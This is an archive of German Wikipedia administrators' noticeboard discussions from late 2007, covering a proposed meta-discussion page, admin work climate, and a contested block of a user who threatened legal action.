120 Tage ist schon sehr lang, ich denke, 30-60 Tage wären angemessen, die Beiträge verschwinden ja außerdem nicht einfach. --my name 00:15, 20. Okt. 2007 (CEST)

auch gut. machst du's?--poupou review? 11:44, 20. Okt. 2007 (CEST)

Erledigt. --my name 15:40, 20. Okt. 2007 (CEST)

Vorschlag: Seite für allgemeine Metadiskussionen

Zur Zeit ist es ja so, dass allgemeine Diskussionen über die Wikipedia (z.B. Entwicklung des Projekts, Löschpraxis, miese Stimmung etc.) entweder auf WP:AN oder auf WP:FZW geführt werden. Hier auf WP:AN heißt es dann oft zu Recht: "gehört hier nicht hin, weil Funktionsseite für Admins", auf WP:FZW heißt es: "Du willst ja bloß diskutieren, wo ist Deine Frage?". Könnte man nicht eine weitere Seite namens Wikipedia:Projektdiskussionen, Wikipedia:Metadiskussionen oder ähnlich aufmachen (nicht nur für Adminbelange, auch ohne konkrete Fragen nutzbar), um dieses Problem zu beheben und sowohl diese Seite als auch WP:FZW zu entlasten? Denn dass ein Bedarf besteht, ab und zu grundsätzliche Fragen der WP zu diskutieren, ist offensichtlich. Ein weiterer Vorteil wäre, dass man die Metadiskussionen dann leichter ignorieren kann, wenn einem gerade danach ist, was zumindest bei mir regelmäßig vorkommt. --Tinz 15:55, 2. Okt. 2007 (CEST)

Naja. Allgemeine Neuigkeiten, die Admins interessieren könnten, war mal der Anfang dieser Seite. Dass es jetzt hier eher wie en:WP:AN/I aussieht, ist eine neuere Entwicklung. Auch weiß ich nicht, ob Ankündigungen und Notizen auf einer Seite Wikipedia:Projektdiskussionen besser aufgehoben sind. --Pjacobi 19:20, 5. Okt. 2007 (CEST)

Ich finde das eine sehr gute Idee. Hoffentlich wirds realisiert. --mbm1 13:15, 30. Okt. 2007 (CET)

Wurde realisiert und wieder eingestellt, bzw. gelöscht. --AT talk 13:25, 30. Okt. 2007 (CET)

Schade. Aber danke für deine Auskunft. Gruss, --mbm1 15:23, 30. Okt. 2007 (CET)

Unfug zu Altersangaben

Ich weiss, dass wir hier mehrere noch recht junge Admins unter uns haben.

Nachdem Benutzer Diskussion:Pill unter Wikipedia:Die Wikipedianer/nach Alter einen Eintrag als Teenie erhalten hatte und ich die meisten von Euch persönlich nicht kenne, bitte ich euch dennoch mal einen Blick auf die Liste zu werfen.

Einige Einträge halte ich für möglichen Unfug. Eine Halsbsperrung derartiger Seiten erscheint mir sinnvoll, da sie sich an registrierte Benutzer richten und zu Schelmereien geradezu einladen. --Nemissimo 酒?!? RSX 12:20, 30. Okt. 2007 (CET)

Den Eintrag als Teenie hatte Pill allerdings selber gemacht... 217.67.138.18 11:28, 31. Okt. 2007 (CET)

Beim Blick durch die Versionsgeschichte habe ich nur äußerst wenige Beträge von IPs erkennen können. Des weiteren messe ich dieser Liste auch nicht die große Bedeutung zu, als dass ich eine Präventivsperre für notwendig erachten würde. --Sinn 11:57, 31. Okt. 2007 (CET)

Vgl. http://de.wikipedia.org/w/index.php?title=Benutzer_Diskussion:Pill&oldid=38454710#SCNR, sorry für die vll. missverständliche Antwort, Nemissimo. —Pill (Kontakt) 13:29, 1. Nov. 2007 (CET)

Fragen zum Verständnis des Admin-Alltags in de:

Das Arbeitsklima ist schlecht. Das wissen alle. [7] Niemand weiß, wie es verbessert werden kann. Daher mal eine neutrale und allgemeine Frage mit der Bitte um sachliche Antworten:

Welche Erfahrungen gibt es allgemein aus dem Administrationsalltag? Ist es im Alltag sehr schwer, einen Administrations-Stil einzuhalten, der immer oder überwiegend sachlich und zuvorkommend ist, aber auch bestimmt, klar und vernünftig? Ich meine eine Art und Weise der Administration, die potentiell in absolut jeder Situation ruhig und sachlich bleiben kann, aber auch genau zeigt, wo es lang geht. Das könnte man als professionell oder selbstbewußt bezeichnen.

Theoretisch: Können Benutzer mit erweiterten Rechten durch so ein Verhalten auch selbst mehr Anerkennung und Respekt entgegen gebracht bekommen, was nicht so schnell kommt, wenn sie sich auf die selbe Stufe von Vandalen, Falschverstehern oder Trollen begeben? Im Grunde setzen Admins die ihnen von der Gemeinschaft aufgetragenen Regeln der WP durch und sind somit auf der sicheren Seite (längerer Hebel). Die Administration besteht auch überwiegend aus immer gleichförmigen Handlungen und es müsste doch leichter und weniger anstrengend sein, das aus einer emotional neutralen Verfassung heraus zu tun, die anders als die Haltung der Problembeteiligten nicht aufgeregt oder angespannt ist. Mehr emotionaler Abstand zur Unruhe.

Welche Erfahrungen habt ihr? Könnte eine Vereinbarung für eine mehr professionelleren oder selbstbewußten Stil überhaupt weitgehend umgesetzt werden? Was würde es bringen? Oder woran scheitert es? Ist damit für den Admin, der sich ja immerhin auch das Vertrauen einer sehr erfolgreichen Internetgemeinschaft erarbeitet hat, auch persönlich ein Zugewinn von Ansehen und Respekt verbunden? -- 212.23.126.9 00:33, 29. Okt. 2007 (CET)

bzgl. der behauptung: "Das Arbeitsklima ist schlecht. Das wissen alle." - ich nicht; aber wenn man es lange und oft genug behauptet wird es Sicherlich irgendwann wahr ...Sicherlich ^Post 10:06, 29. Okt. 2007 (CET)

Zustimmung. Vor ziemlich genau einem Jahr gab es z.B. den Streit um den Schreibwettbewerbs-Siegerartikel inklusive Wheelwars und verbaler Ausfälle von Admins. War das Klima da so viel besser? --Tinz 10:12, 29. Okt. 2007 (CET)

Ich habe einen Blutdruck, der so niedrig ist, dass Ärzte sich manchmal fragen, ob ich möglicherweise scheintot bin, bin also genetisch prädestiniert ruhig zu bleiben. Trotzdem merke ich, wie mir meine Gelassenheit regelmäßig flöten geht, wenn ich etwas erkläre, und man sich auch beim dritten Mal weigert, den Sinn meiner Worte zu verstehen und einfach weiterquengelt. Und wenn mir das an einem Tag fünf Mal hintereinander passiert, ist es mit der administrativen Sachlichkeit vorbei, und der Sechste, der mich anspricht, hat keine faire Chance mehr. Die Lösung für das Problem: Provozier und piesack den Admin nicht, nur weil du weißt, dass er nicht ausflippen darf und vorbildlich ruhig bleiben muss. --Streifengrasmaus 10:19, 29. Okt. 2007 (CET)

(BK)Die Administration besteht auch überwiegend aus immer gleichförmigen Handlungen stimmt so leider auch nicht. SLAs ausführen und Vandalen-IPs zu sperren sicher, das ist nix großes, und da kommt auch fast nie was nach, was nerven würde. Schlimmer sind die Polit-Editwars, Profitrolls und so weiter. Da muss man sich teilweise in dutzende Disku-Bildschirmseiten einlesen, während aus der VS lustig ein weiteres beleidigen der einen wie anderen Seite kommt, und wenn man eine Entscheidung trifft, dann ist die andere Seite immer sauer und nie einsichtig. Diese Seite besteht dann aber nicht nur aus dem Gesperrten, sonderen gleich noch aus drei vier Mann Anhängerschaft. Und wenn man dreimal bei dem selben Streit eingegriffen ist man "verbrannt", weil dann die Vorwürfe der Parteinahmen kommen. Das würde ich nicht gleichförmige[] Handlungen nennen (Zur Verdeutlichung an einigen Stellen leicht übertrieben) --schlendrian •λ• 10:22, 29. Okt. 2007 (CET)

@Streifengrasmaus: Provozier und piesack den Admin nicht: Leider verstehen ein paar Deiner Kollegen darunter: Äußere nie eine Meinung, die von der des Admins abweicht. --Amberg 14:19, 29. Okt. 2007 (CET)

Ziemlich provokante Frage. Aber trotzdem: Bei den Adminwahlen wird doch regelmäßig diskutiert/nachgeschaut, ob man dem Kandidaten zutraut, einigermaßen ruhiges Blut zu bewahren (wenn man das nicht kann, ist man absolut falsch in dieser Funktion). Also, a) Bis zu einem gewissen Grad sollten die nach diesem Kriterium Gewählten auch in nervigen Situationen durchhalten. b) Da es übermenschlich wäre, NIE genervt zu sein, ist es manchmal ganz sinnvoll, sich des realen Lebens zu entsinnen und den Computer ein Weilchen auszuschalten. Vereinbarungen helfen da gar nichts. --Xocolatl 14:24, 29. Okt. 2007 (CET)

sehe a) und b) wie Xovolatl.--poupou review? 15:21, 29. Okt. 2007 (CET)

@212.. bietest wohl demnächst einen Kurs an:Wie werde ich Wikipedia-Admin?, oder sollen dafür die Spenden verwendet werden? Diese Gutmenschen wie du gefallen mir, erst einen nicht bewiesenen MAngel postulieren und dann ein Ziel anpeilen, das sowieso von allen angestrebt wird. Professionell sein, wer bemüht sich darum nicht. Ich finde, die Admins können hier nicht selbstbewusst genug sein. Am übelsten finde ich deine ins Leere gehende Vereinbarung (mit wem) , kommst wohl aus der Schule, wa?. Da sehen auch die Beteiligten vor lauter Vereinbarungen den Wald vor lauter Bäumen nicht mehr, nur lernen tun die Schüler nichts mehr, weil das mühsamer ist als das Vereinbaren, für beide Parteien. Eben auch für die Lehrer, die Plakatekilometer vereinbaren. Mein Tip an dich. Mache bei den LKs mit, beseitige Redundanzen, kategorisiere, und wenn du das noch als IP tust , bist du ein wahrer Held.--87.186.112.16 15:51, 29. Okt. 2007 (CET)

• Wenn hier die FZW wäre würde ich für die beiden Behauptung „Das Klima ist derzeit schlecht“ und „das wissen alle“ Einzelbelege einfordern. Nun ist hier aber AN. Ich sehe also wenig, was eine konkrete Frage darstellt, die binnen endlicher Zeit abschließbar ist, sondern eher einen Aufruf zur allgemeinen Meinungspostulierung, vulgo einen Gutmensch-Meinungsthread. --jha 18:59, 29. Okt. 2007 (CET)

Die Frage war nicht polemisch oder als Vorwurf gemeint. Es ist klar, dass das angespannte Diskussionsklima auf Ursachen zurück geht, die nicht beim einzelnen Admin liegen. Es geht also nicht darum, irgend jemandem Vorwürfe zu machen oder eine "Adminschule" anzuraten. Die Rauhe Schale der Administratoren ist völlig verständlich und nachvollziehbar.

Aber die Schale muss nicht unbedingt rauh sein, sie kann auch glatter werden und Vorwürfe abperlen lassen. Aber bringt eine professionellere oder selbstbewußtere Grundhaltung bei der Administration überhaupt Vorteile für den Admin? Z.B. mehr Respekt oder Achtung. Würden die Probleme ruhiger angegangen, wenn die Administration ruhiger verlaufen würde? Wäre die Admin-Arbeit dann angenehmer und weniger anstrengend? -- 212.23.126.24 21:04, 29. Okt. 2007 (CET)

Ich kann mich nicht beklagen und ich werde mir jetzt auch nicht aufschwatzen lassen, dass das Klima vergiftet und die Arbeit sch... ist. *fühlt sich eigentlich ganz wohl* --Michael S. °_° 21:28, 29. Okt. 2007 (CET)

Kann es sein, dass das in der Einschätzung vieler außenstehender Leser anders ist? Die, die WP kennen, können kontroverse Diskussionen besser einschätzen als Außenstehende, die sich darum bewußt nicht für eine Mitarbeit entscheiden, um zusätzliche Belastungen zu vermeiden. -- 212.23.126.24 22:41, 29. Okt. 2007 (CET)

Dieses ständige Gequängel darüber, wie schlecht es uns doch geht und wie ungerecht der-, die- oder dasjenige behandelt wird, weil er/sie/es doch dies doch eigentlich total super kann, aber das nicht verstehen, geschweige denn akzeptieren kann oder will, nimmt mir jegliche Freude an diesem Projekt aktiv, gerade im adminrelevanten Bereich teilzunehmen. … So, und jetzt durfte ich auch mal quängeln, danke, —DerHexer (Disk., Bew.) 21:59, 29. Okt. 2007 (CET)

Es geht nicht um die Behandlung, die ja nach Regeln erfolgt, sondern um die Form der Administration. Würde eine selbstbewußte und betont sachliche Form, die sich nicht auf aufgeregte und unfreundliche Gespräche einlässt, sondern freundlich und bestimmt ist, den Administratoren einen Vorteil bezüglich Ansehen und Respekt verschaffen? Würde euch das entlasten?

Kann z.B. eine Vereinbarung, Benutzersperrentscheidungen generell ruhig anzugehen und Wheelwars zu unterlassen, die Administratoren in ein besseres Licht rücken, weil es dann zumindest unter den erfahrenen Benutzern keine ausgetragenen Kontroversen gibt? Bringt es was, wenn die Entscheidungen gegenseitig respektiert werden und jeder für seinen Stil selbst verantwortlich ist? Oder ist diese Idee von vorn herein unrealisitsch oer praktisch schlecht durchführbar. Wenn ja, wieso? -- 212.23.126.24 22:41, 29. Okt. 2007 (CET)

Was wird das hier? Pre-Test für einen Fragebogen? Wenn Sie, verehrte IP, gerne etwas über den Admin-Alltag wissen wollen, dann schauen Sie einfach mal in meine heutigen Benutzerbeiträge, das ist sozusagen "Dienst", mit dem man zuweilen die Zeit nach der Arbeit im wirklichen Leben verbringt, das entspannt und man lernt ohne Frage dazu (ich heute z. B. über Motorräder). Das Abarbeiten von Löschkandidaten-Seiten ist eine "Form" der Administration und man findet auch sogleich - siehe hier - auch die ersten Kommentare zur löblichen Tätigkeit. Manchmal schreibt ein Admin auch einen schönen Artikel, und dafür wird er dann gelobt (ist mir auch schon passiert:-). Uncoole Benutzersperrungen sind m. E. sehr, sehr selten. Der Gesperrte findet das indes durchweg immer uncool, ist auch verständlich. Krieg' ich ein Exemplar Ihrer Studie? --Felistoria 23:05, 29. Okt. 2007 (CET)

Danke für deine Antwort. Kein Test, keine Studie, keine Fragbögen, keine Versuchskaninchen. Das Arbeitsklima sollte verbessert werden, damit WP für mehr geeignete Benutzer attraktiv wird. Wie ann man die Voraussetzungen dafür schaffen, dass sich (viel) mehr ruhige und fachlich kompetente Artikelarbeiter anmelden, wohlfühlen und mit machen. Es gibt im Moment keine realistischen Vorschläge, wie man das machen kann. Mir fällt auch nichts ein, das sich umsetzen lassen könnte. -- 212.23.126.24 23:47, 29. Okt. 2007 (CET)

Auch wenn ich kein Admin bin, mal eine Bemerkung dazu: Konzeptbedingt kann es bei Wikipedia keine Kompromisse geben. Wann immer man sich auf einen solchen einigt, kann am nächsten Tag ein ganzes Rudel Benutzer kommen, dass mit diesem nicht einverstanden ist. Das gleiche gilt aber im Grunde auch für sämtliche Regeln. Zudem führt die Tatsache, dass jeder mitmachen _darf_ dazu, dass einige meinen, dass auch jeder mitmachen _kann_. "Keine Ahnung, aber eine Meinung" ist so eine nicht seltene Unsitte. Auch einige Admins handeln hin und wieder nach diesem Prinzip. Dazu haben viele Benutzer mit WP:NPOV so ihre Probleme und stellen ihre eigene Sicht (oft wirklich eine reine Privatmeinung) als Fakt dar. Noch wilder wird es, wenn eine Aussage nach dem heutigen Stand der Wissenschaft als "Fakt" angesehen werden kann, aber dennoch einige Leute dies ablehnen. Das alles erzeugt ein sehr hohes Frustpotential, wodurch so manche Sperre eigentlich einen reinigenden Charakter haben soll ("eine Nervensäge weniger"), oftmals diese Person aber nicht NUR falsch liegt. --TheK? 23:19, 29. Okt. 2007 (CET)

@212... willst du hier eine admintherapiestunde einrichten oder wie?--poupou review? 10:45, 30. Okt. 2007 (CET)

Mir ist das alles viel zu schwammig und viel zu viel hätte/könnte/würde … „Wie kann man die Voraussetzungen dafür schaffen, dass sich (viel) mehr ruhige und fachlich kompetente Artikelarbeiter anmelden, wohlfühlen und mit machen“? Frag' hier 23 verschiedene Leute und Du bekommst 42 verschiedene Antworten. Jeder von uns (Admins und Benutzern) fährt so seinen eigenen Film davon, wie und was WP sein könnte oder sollte. Letztlich machts die Mischung und ganz falsch können wir alle wohl nicht liegen, sonst wäre WP nach 3 Wochen schon wieder Geschichte gewesen. Oder kurz: Mit solchen extrem allgemein gehaltenen Fragen bekommt man maximal allgemein gehaltene Antworten – oder Spott oder Ablehnung. Führt alles nicht weiter. --Henriette 10:56, 30. Okt. 2007 (CET)

Henriette hat recht. Ich persönlich habe die WP bis zu meiner Anmeldung im Jahre 2006 gelegentlich benutzt, um Todesdaten festzustellen, die mein Bücherregal nicht hergab, weil das schneller ging als mit Google. Da war sie bereits ein paar Jahre alt und mehr als ein Todesdatenlieferant, wenn auch noch bedeutend weniger als jetzt, insbesondere qualitativ. Wer will also die Benutzer und die Admins erziehen zu was und warum? --Felistoria 00:38, 31. Okt. 2007 (CET)

Niemand will jemanden erziehen. Es ist einfach eine Frage, ob eurer Meinung nach die beschriebene Veränderung im Stils a euch etwas bringen würde und b sich das Klima verbessern würde. Übrigens geht es um eine allgemeine Einschätzung ohne Pesonenbezug oder Beispiele. Das hat nichts mit jemandem zu tun, sondern damit was ihr meint. Es könnte doch sein dass es überhaupt nichts bringt und deshalb besser alles weiter so laufen sollte wie bisher. Oder würde es zur Verbesserng des Klimas beitragen? -- 212.23.126.17 03:45, 31. Okt. 2007 (CET)

42. --Henriette 13:01, 1. Nov. 2007 (CET)

hm warum beschleicht mich das gefühl, hinter der IP verberge sich ein frustrierter benutzer, dessen lange abschiedsrede in seinen augen wohl zu wenig rezipiert wird (nur so eine vermutung...)--poupou review? 10:36, 31. Okt. 2007 (CET)

Die Tanten haben es wieder mal geschafft, die Nerven sind im Eimer! Ich gebe auf! .oO(Und mich beschleicht das Gefühl, dass ihr nicht einmal über ein allgemein übergreifendes Thema nachdenken könnt, ohne euch „persönlich gemeint“ zu fühlen.) :) -- 90.187.20.194 13:53, 1. Nov. 2007 (CET)

touché.--poupou review? 12:19, 3. Nov. 2007 (CET)

Meiner Meinung nach ist es eine Fehleinschätzung, die Admins hätten die Aufgabe, eine -wie auch immer geartete- Klimaverbesserung in der Wikipedia herbeizuführen. Das Arbeitsklima machen alle, sogar die IPs. Das einseitig den Admins zuschieben zu wollen schafft eine falsche Grundstimmung in dieser Diskussion. Eine offene Community-Diskussion wird sicher dazu führen, dass aus Fragen wie "welche Gruppen können was tun" ein "Wer ist realistisch zu welcher Änderung zu bewegen" wird. Und dann kann es ja durchaus sein, dass dort herauskommt, dass die Gruppe der Admins diejenigen sind, deren Maßnahmen am einfachsten zu umzusetzen sind. Nur bis dahin sollte Arbeitsklima eine Community-Angelegenheit sein und kein Adminjob. --jha 14:06, 1. Nov. 2007 (CET)

So ein Beitrag am Anfang und die Debatte wäre anders verlaufen. -- 90.187.36.248 14:47, 1. Nov. 2007 (CET)

Kommentare zum beendeten Diskurs Reiner Stoppok und Redirects

„Heute ist nicht alle Tage - ich komm wieder, keine Frage!!“

– Rainer-Stoppok-Diskussion, Täglich grüßt das Murmeltier.

--Ureinwohner uff 00:43, 17. Nov. 2007 (CET)

Aus welcher Serie stammt's? sугсго.PEDIA 00:49, 17. Nov. 2007 (CET)

Bugs Bunny? --Chin tin tin 00:52, 17. Nov. 2007 (CET)

Nein, Paulchen Panther.--Τιλλα 2501 ^± 00:59, 17. Nov. 2007 (CET)

Ich dachte Fred Feuerstein... --Yabba-Dabba-Do! 01:28, 17. Nov. 2007 (CET)

Benutzer:Triebtäter

Ich habe Triebtäter am Montag, den 19. November um 15:08 für drei Tage gesperrt (VM, siehe auch die Meldung drunter). Grund war eine Drohung gegen Benutzer:S1 sowie der Missbrauch der VM und das Ignorieren eines EOD von Janneman. Die Angelegenheit habe ich als recht brisant wahrgenommen, da Triebtäter bereits vor einigen Tagen mit gerichtlichen Schritten gedroht hatte und gegen zwei andere Benutzer rechtliche Schritte eingeleitet oder zumindest angedroht hat. Die Sperrdauer habe in Übereinstimmung mit Benutzer:Complex’ Meldung festgelegt, sie wäre aber durchaus diskutierbar gewesen. Nach der Sperre erhielt ich einige Mails von Triebtäter, in denen er die Sperre als „grobe Nötigung“ darstellte und mich zuletzt davon in Kenntnis setzte, dass er „die Angelegenheit [...] [seinem] Rechsanwalt übergeben [hat]“. Ich bin zugegebenermaßen ratlos, wie ich mit den Drohungen umgehen soll und wie mit Triebtäter weiter verfahren werden soll. Gruß, Code·Eis·Poesie 20:52, 21. Nov. 2007 (CET)

Es ist schon grober Unfug, den Tatbestand der Nötigung hier als erfüllt anzusehen. Meines Erachtens hat sich Benutzer:Triebtäter mit diesem Versuch, eine vollkommen verdiente vorübergehende Sperrung gerichtlich auszuhebeln, eine endgültige Stilllegung seines Accounts redlich verdient. Björn Bornhöft 20:56, 21. Nov. 2007 (CET)

(BK) Zumal der Herr Triebtäter hier wahrlich nicht zum ersten Mal versucht, Benutzer mittels rechtlicher Schritte oder der Ankündigung solcher einzuschüchtern. Solcher Mißbrauch ist nach WP:KPA ein klarer Sperrgrund. Björn Bornhöft 21:02, 21. Nov. 2007 (CET)

(BK)Locker bleiben... Wenn jemand schreibt, dass bei ihm die Lust steigt, ein paar Dinge mal gerichtlich überprüfen zu lassen, oder er in einem Konditionalsatz angibt, eher gerichtlich gegen jemanden vorzugehen als auf anderem Wege, dann sind das zunächst keine Drohungen, sondern nur Meinungsäußerungen. Als unbeteiligter Admin würde ich in solchen Fällen versuchen, erst einmal zwischen den Beteiligten zu vermitteln. Sperren kann man hinterher immer noch, zumal innerhalb der Wikipedia ja keine "Gefahr im Verzug" ist. Als juristischer Laie halte ich seine Äußerungen übrigens für ziemlich hanebüchen, aber da dürfte uns einer der Experten sicher aufklären können. --Scherben 20:59, 21. Nov. 2007 (CET)

ich habe keine Lust, mich juristisch damit zu befassen, halte die Sperre nebst Vorgeschichte allerdings auch für typisch für die Hysterie, die im Projekt gerade umgeht. Ich empfehle: Mails ignorieren und Schwamm drüber. -- Tobnu 21:07, 21. Nov. 2007 (CET)

Bitte nicht jede unbedachte Äußerung gleich zum „Fall“ aufblasen. --Hardenacke 21:09, 21. Nov. 2007 (CET)

Es geht eben nicht um "eine unbedachte Äußerung". Es geht allein in diesem jüngsten Fall um mehrere Mails. Abgesehen davon, daß das Überziehen anderer Benutzer mit pseudojuristischen Drohungen bei TT System hat. Björn Bornhöft 21:12, 21. Nov. 2007 (CET)

Ah, Björn ist wieder da!... --Hans Koberger 21:15, 21. Nov. 2007 (CET)

(BK) Falsch. Björn ist noch nicht ganz weg. Und er wartet nur drauf, wann der erste AGF-Ritter in schimmernder Rüstung hier auftaucht und ihm Triebtätermobbing vorwirft. Das sind Sachen, die gehen so einfach nicht. Punkt. Björn Bornhöft 21:17, 21. Nov. 2007 (CET)

Ich bins! Jaja, System. Kannst du deine Sperrphantasien jetzt mal bitte woanders ausleben? Als würde man ein derartiges Problem mit Regelhuberei und dem Drücken von Knöpfen beseitigen. Danke, --Anneke Wolf 21:18, 21. Nov. 2007 (CET) P.S. Wenn es Code beruhigt schreibe ich Triebtäter mal, ich weiß allerdings nicht, ob er mit mir redet.

Ei, welch Überraschung. Fantasier Du mal ruhig weiter. Das Problem wird sich durch Ignorieren nicht selbst lösen. Björn Bornhöft 21:20, 21. Nov. 2007 (CET)

Ich weiß, dass es manchmal schwer ist, die richtigen Worte zu finden, also kriege das bitte nicht in den falschen Hals: Wenn du "nur noch" hier schreibst, um ein paar alte Rechnungen zu begleichen, dann tust du damit weder dir oder uns einen Gefallen. Probleme wie dieses mit Triebtäter lassen sich eher durch Besonnenheit lösen als durch den Vorschlaghammer. Was immer du nach der Beendigung des Noch-nicht-ganz-weg-seins vorhast: Fange doch besser jetzt damit an als später, und vergiss diesen Quatsch einfach. Falls du nach einer Pause wiederkommen möchtest, dann mache nicht den Fehler und schaue dir die Resultate dieser Debatten an, sondern mache einfach ganz woanders weiter. Schreibe ein paar kleinere Artikel, redigiere und lass die ermüdenden VM/BS-Debatten eben solche sein. Lieben Gruß --Scherben 21:23, 21. Nov. 2007 (CET)

Woher nimmst Du eigentlich die Annahme, ich hätte mit TT eine Rechnung offen? Björn Bornhöft 21:28, 21. Nov. 2007 (CET)

Keep cool, boys... --Felistoria 21:16, 21. Nov. 2007 (CET)

Ich habe übrigens nichts dagegen einzuwenden, wenn jemand die Sperre aufheben möchte, sie läuft sonst Morgen um 15:08 ab. Code·Eis·Poesie 21:17, 21. Nov. 2007 (CET)

Ich sehe keinen Grund, die Sperre aufzuheben. Ansonsten schließe ich mich aber Felistoria und Tobnu an. --Fritz @ 21:19, 21. Nov. 2007 (CET)

Warum sollte es jemand tun? Du hast die administrative Entscheidung getroffen und gut iss - dafür hast du die Knöppe und solang hier keiner Mißbrauch schreit sehe ich keinen Grund, deine Entscheidung zu revidieren. My cents -- Achim Raschka 21:19, 21. Nov. 2007 (CET)

Done, --Anneke Wolf 21:21, 21. Nov. 2007 (CET)

Na, wer wheelwart denn da? Björn Bornhöft 21:25, 21. Nov. 2007 (CET)

Bitte, ich habe doch gerade ausdrücklich um Revision meiner Entscheidung gebeten. Es lohnt nicht, wegen den 18 Stunden Ärger anzufangen. Code·Eis·Poesie 21:27, 21. Nov. 2007 (CET)

(BK)Es wheelwart niemand. Der Sperrende hat geschrieben, dass er mit einer Aufhebung der Sperre einverstanden wäre, und Anneke hat es getan. Ansonsten gilt mein Hinweis von oben, du tust dir damit keinen Gefallen. --Scherben 21:27, 21. Nov. 2007 (CET)

Kinder, nicht hier. Geht ins Café oder nachhause. EOD. --Felistoria 21:29, 21. Nov. 2007 (CET)

(BK) Mich würde aber trotzdem interessieren, worauf sich das 'Begründet' im Entsperrkommentar bezieht? Auf die Aussagen von Triebtäter? Oder einfach, dass die Entsperrung begründet ist. In letzterem Fall würde mich der Grund interessieren. --Gnu1742 21:29, 21. Nov. 2007 (CET)

(auch BK) Ach. Und während hier noch diskutiert wird – wobei die Tendenz klar in eine andere Richtung geht − geht Anneke los und schafft Fakten? Wie nennst Du das? Björn Bornhöft 21:31, 21. Nov. 2007 (CET)

Der Grund ist, dass Code darum gebeten hat. Im übrigen haben wir diese Woche einen sehr lieben Wikipedianer verloren. Vielleicht führen einige hier mal einen Realitätscheck durch, was wirklich schlimme Dinge sind. --Anneke Wolf 21:32, 21. Nov. 2007 (CET)

Zumn zweiten Mal: bitte das hier beenden. --Felistoria 21:36, 21. Nov. 2007 (CET)

Felistoria: Ist meine Frage denn geklärt? Code·Eis·Poesie 21:39, 21. Nov. 2007 (CET)

Ja. Und das war jetzt zum dritten. --Felistoria 21:40, 21. Nov. 2007 (CET)

Sorry Felistoria, mal nicht so schnell. Triebtäter hat nach mehrfacher Ankündigung wasauchimmer "seinem Rechsanwalt übergeben" und ist also drauf und dran, S1 und Codeispoetry gerichtlich zu Leibe zu rücken. Und wird zur Belohnung entsperrt? Momentchen mal, da stimmt was nicht. --Janneman 21:48, 21. Nov. 2007 (CET) Sorry Felistoria, mal nicht so schnell. Triebtäter hat nach mehrfacher Ankündigung wasauchimmer "seinem Rechsanwalt übergeben" und ist also drauf und dran, S1 und Codeispoetry gerichtlich zu Leibe zu rücken. Und wird zur Belohnung entsperrt? Momentchen mal, da stimmt was nicht. --Janneman 21:48, 21. Nov. 2007 (CET)

+1... Nebenbei: Dies hier ist die Stelle, an der sich Admins über Adminkram austauschen, nicht das Café oder was weiss ich wo. --Gnu1742 21:58, 21. Nov. 2007 (CET)

Bestelle ich jetzt Popcorn, oder bete ich zum Heiligen Bürokratius, er möge Hirn vom Himmel schmeißen, oder zitiere ich das alte Sprichwort von der Suppe, die niemals so heiß auf den Tisch kommt wie sie gekocht wird? Egal, ich erkläre einen EOD unter Verweis nach oben. -- Tobnu 22:00, 21. Nov. 2007 (CET)

BK Ich schließe mich Felistoria in sofern an, als dass ich nicht davon ausgehe, dass diese Diskussion hier auf irgendeine Weise noch zu einem konstruktiven Ergebnis kommen wird. Und ja, ganz unabhängig wie spannend die Frage oder wie unbefriedigend die Situation ist: Ich sehe hier ein zunehmend gereizteres Klima. Und solange sich kein überzeugender Moderator findet sollten wir das hier jetzt erstmal lassen. --jha 22:03, 21. Nov. 2007 (CET)

Die Diskussion ist hier beendet; ich habe den Abschnitt auf die Disk kopiert. --Felistoria 22:02, 21. Nov. 2007 (CET)

Wieso ist die Diskussion beendet? Ein Admin wird per PM mit rechtlichen Schritten bedroht und wir tun so, als wäre das OK? Was geht denn hier ab?? Und das ist ja auch nicht das erste Mal, daß TT so eine Nummer bringt! Ich halte das für alles andere als ausdiskutiert und beendet. Oder sind Leute, die per PM mit Rechtsanwälten drohen neuerdings „ sehr liebe“ Wikipedianer und nur die, die es hier öfentlich tun, die Schufte? EOD hin oder her: So geht das echt nicht! --Henriette 23:26, 21. Nov. 2007 (CET)

Niemand, Henriette wird "bedroht", sieh hier. It's over. --Felistoria 23:34, 21. Nov. 2007 (CET)

@Felistoria. So sehr ich deine Courage in solchen Diskussionen auch schätze, alles lässt sich beim besten Willen nicht einfach per Anordnung als beendet erklären. Wenn Diskussionsbedarf besteht, sollte man das einfach akzeptieren. --Ureinwohner uff 23:32, 21. Nov. 2007 (CET)

Aber sicher, Ureinwohner. Deshalb habe ich die Angelegenheit auch an diesen Ort versetzt. D'accord? --Felistoria 23:36, 21. Nov. 2007 (CET)

„Die Administratoren-Notizen dienen dazu, die Zusammenarbeit unter den Administratoren besser zu koordinieren und um sie auf wichtige oder außergewöhnliche Vorgänge in der Wikipedia hinzuweisen.“ Offensichtlich sehen einige Administratoren hier Gesprächsbedarf. Warum soll das auf der Diskussionsseite über die Adminnotizen passieren? Code·Eis·Poesie 23:38, 21. Nov. 2007 (CET)

Ich habe die Restsperre wiederhergestellt. Unabhängig von der laufenden Diskussion (BS-RS und so) hielt ich die Äußerung Triebtäters für absolut unakzeptabel und die Blockentscheidung und Begründung war korrekt. Dies v.a. im Hinblick darauf, dass Triebtäter eben nicht irgendein Newbie ist, sondern ein sehr erfahrener Benutzer, dem man problemlos unterstellen kann, dass er genau wusste, was er da geschrieben hat. Gruß --Rax post 23:48, 21. Nov. 2007 (CET)

Ich hoffe, du hast einen guten Anwalt! (scnr) --Fritz @ 23:50, 21. Nov. 2007 (CET)

Liebe Felistoria, hier ist überhaupt gar nichts D'accord! Und nur weil Du meinst, daß Du hier per Ordre de Mufti ein EOD verhängen zu müssen meinst, gibt es immer noch andere Leute, die durchaus Gesprächsbedarf sehen. Ich finde das unmöglich so eine Sache – zur Erinnerung es geht um eine Drohung mit rechtlichen Schritten, die aus gutem Grund innerhalb der WP verboten ist! – einfach unter den Teppich kehren zu wollen. Innerhalb der WP ist so eine Drohung ein Grund für eine infinite Sperre! Aber TT ist ja lieb und deshalb darf er Leute per Mail bedrohen? Auf welchem Planeten bin ich hier eigentlich? --Henriette 23:52, 21. Nov. 2007 (CET)

Porto

